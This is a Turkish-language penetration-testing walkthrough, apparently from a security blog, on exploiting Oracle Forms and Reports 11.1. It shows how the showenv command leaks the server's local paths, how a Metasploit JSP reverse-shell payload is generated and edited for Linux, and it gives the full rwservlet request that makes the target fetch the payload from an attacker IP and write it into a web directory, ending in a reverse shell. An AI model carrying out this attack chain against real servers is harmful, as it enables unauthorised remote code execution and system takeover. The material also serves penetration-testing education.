Oracle Forms and Reports 11.1 Uygulamasının İstismar Edilmesi

Oracle form, Oracle veritabanı ile etkileşimli ekranlar oluşturabilen Oracle Fusion Middleware’in bir eklentisidir. Oracle Report ise Oracle form’un raporlama aracıdır. Bu yazıda Oracle Report üzerindeki açıklığın nasıl istismar edileceği anlatılmıştır.



Saldırgan IP’si: 6.6.6.51
Hedef Oracle Repor IP’si: 6.6.6.52



Oracle Reports’un aşağıdaki sayfasında Oracle Reports’un her biri farklı görevleri yapmakta olan komut listesi görülmektedir.





Tüm komutlar çağrılıp kontrol edildiğinde istismar sırasında kullanılabilecek bazı önemli komutlar olduğu görülebilir. Öncelikle showenv komutundan bahsetmek gerekirse, bu komut sunucu ile ilgili bilgileri (servermap, servername, serverport vb.) ekrana dökmektedir.





Göze çarpan en önemli nokta PATH_TRANSLATED değişkeninin yerel dizini vermesidir. Yerel dizinin elimizde olması büyük avantaj sağlamaktadır. Bu bilgiyi not ettikten sonra ilerleyebiliriz.



Önce msfpayload yardımı ile payload oluşturulur. Web sunucusu jsp çalıştırmaktadır ve bunun için java/jsp_shell_reverse_tcp payload’u kullanılır.





Reverse TCP için abc.jsp dosyası oluşturuldu. Ancak bu shell direk olarak çalışmayacaktır. Çünkü msfpayload aracı bu payload’u Windows ortamı için hazırladı, hedef sistem ise Linux tabanlı olduğu için, jsp dosyasının aşağıdaki gibi düzenlenmesi gerekir.



Process process = Runtime.getRuntime().exec( “cmd.exe” );
satırı
Process process = Runtime.getRuntime().exec( “/bin/sh” );
olarak değiştirilir.



Gerekli düzenlemeyi yaptıktan sonra dosyanın uzantısını .txt olarak ayarlayıp, /var/www/ dizini altına herhangi bir isimle atılır.



Yazıda bize lazım olacak kısımların olduğu belirtilmişti. Oracle Report’ta rapor oluşturmak için kullanılan istek yakalanmış ve  istismar için gerekli kısımlar eklenmiştir. Sonuçta oluşan istek şu şekildedir:



http://6.6.6.52:7777/reports/rwservlet?report=Bga_Tiger_Team.rdf+desformat=html+destype=file+desname=/data01/BI/j2ee/OC4J_BI_Forms/applications/reports/web/images/sh.jsp+JOBTYPE=rwurl+URLPARAMETER="http://6.6.6.51/ora11/s.txt"
    



İsteği açıklama gerekirse;
report = raporun adı
desformat = rapor formatı
destype = rapor türü
desname = rapor dosyasının yerel dizini



İstek gönderilir ve sunucudan dönen cevap işlemin başarılı olduğunu göstermektedir.



Kontrol etmek için showjobs komutu kullanılabilir:



Ekran görüntüsünden dosyanın sunucuya başarı ile indirildiğinin teyiti alınabilir.
Artık yapılması gereken 2 adım kaldı: Saldırgan(6.6.6.51) makinesini listener moda almak ve Oracle(6.6.6.52) makinesinden ilgili dosyayı çalıştırmak.
Saldırgan makinesinde listener moda geçtikten sonra, yüklenen dosya direk olarak tarayıcıdan çağırıldığında hedeften oturum açılmış olacaktır.